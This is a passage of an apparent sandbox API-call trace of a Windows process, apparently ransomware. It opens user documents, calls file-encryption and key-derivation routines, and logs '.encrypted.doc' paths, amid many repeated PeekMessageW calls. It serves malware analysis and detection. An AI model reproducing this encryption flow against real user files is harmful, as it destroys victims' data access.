wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.416] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.416] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.416] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.416] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.416] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.416] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.416] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.416] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.416] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.416] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.416] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.416] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.416] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.416] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.418] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.418] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.418] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.418] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.418] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.418] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.418] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.418] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.418] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.418] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5116) returned 1 [0025.418] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.418] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.418] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.418] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x13fc, lpOverlapped=0x0) returned 1 [0025.418] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.418] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x13fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.418] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5116) returned 1 [0025.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\VPX0Zm61g2E4gE.encrypted.doc\r\n", cchWideChar=75, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 75 [0025.418] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\VPX0Zm61g2E4gE.encrypted.doc\r\n", cchWideChar=75, lpMultiByteStr=0xe8f40699b0, cbMultiByte=75, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\VPX0Zm61g2E4gE.encrypted.doc\r\n", lpUsedDefaultChar=0x0) returned 75 [0025.419] WriteFile (in: hFile=0x188, lpBuffer=0xe8f406a370*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a370*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4a, lpOverlapped=0x0) returned 1 [0025.419] CloseHandle (hObject=0x188) returned 1 [0025.419] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.419] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.420] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.420] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.420] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.420] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.420] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.421] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.421] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178500, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.421] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41787e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.422] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\xuZ02tplUJG4DO_gI5gM.docx", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0025.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\xuZ02tplUJG4DO_gI5gM.docx", cchWideChar=70, lpMultiByteStr=0xe8f40514a0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\xuZ02tplUJG4DO_gI5gM.docx", lpUsedDefaultChar=0x0) returned 70 [0025.422] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\xuZ02tplUJG4DO_gI5gM.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\xuz02tplujg4do_gi5gm.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=70, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0025.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=70, lpWideCharStr=0xe8f40618e0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\xuZ02tplUJG4DO_gI5gM.docx") returned 70 [0025.422] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.423] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.423] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.423] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.423] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178400, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.424] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.424] CloseHandle (hObject=0x188) returned 1 [0025.424] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.424] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.424] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.424] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.424] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.424] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.424] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.424] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.424] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.424] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.424] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.424] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.425] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.425] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.425] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.425] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.425] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.425] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.425] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.426] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.426] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199a20) returned 1 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.426] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.426] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.426] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.426] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.426] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.426] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.427] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.427] 